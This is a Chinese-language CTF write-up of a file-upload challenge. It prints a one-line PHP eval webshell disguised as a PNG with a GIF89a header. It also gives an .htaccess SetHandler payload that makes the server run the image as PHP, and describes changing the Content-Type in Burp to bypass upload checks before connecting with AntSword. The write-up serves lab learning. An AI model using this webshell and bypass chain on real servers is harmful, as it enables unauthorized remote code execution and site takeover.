这名字怎么还骂人呢?
打开靶机

这个题特别坑人。我们先上传一个图片试试。

上传不成功。当场给我干蒙了。正常图片也不能传?后来看别人的wp才知道这一题限制文件大小。
好了我们言归正传。思路还是上传一句话木马,链接蚁剑。先编写一句话木马
GIF89a
<?php @eval($_POST['wz']); ?>
然后改文名件改为a.png`然后上传。
然后你会发现无论你怎么改后缀,怎么改语法,就是无法链接蚁剑。说明我们的一句话木马没有运行。我们就得尝试用.user.iniwen文件或者.htaccess文件把我们传入的php代码执行了。我们也不知道网站目录上有没有php文件所以我们尝试用.htaccess文件。
详情可见
我们创建一个名为:
.htaccess` 的文件,内容为:
<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch
然后注意这里的那个a.png必须和你上传的文件名相同。
我们上传.htaccess。

穿不进去。我们打开bp抓包。

把这里改为image/png来绕过检查。

成功。然后我们上传我们的一句话木马文件a.png。

好的,可以看到文件路径为/upload/17f10253549cad63de6355a3b577ad74/a.png。我们打开蚁剑,添加数据。

欧克,链接成功添加数据,得到flag。

文章讲述了在靶机挑战中遇到的图片上传问题,由于文件大小限制无法上传正常图片。作者通过创建一句话木马并伪装成.png文件,然后利用.htaccess文件修改处理方式为PHP,最终成功执行代码并连接蚁剑获取flag。
1068

被折叠的 条评论
为什么被折叠?



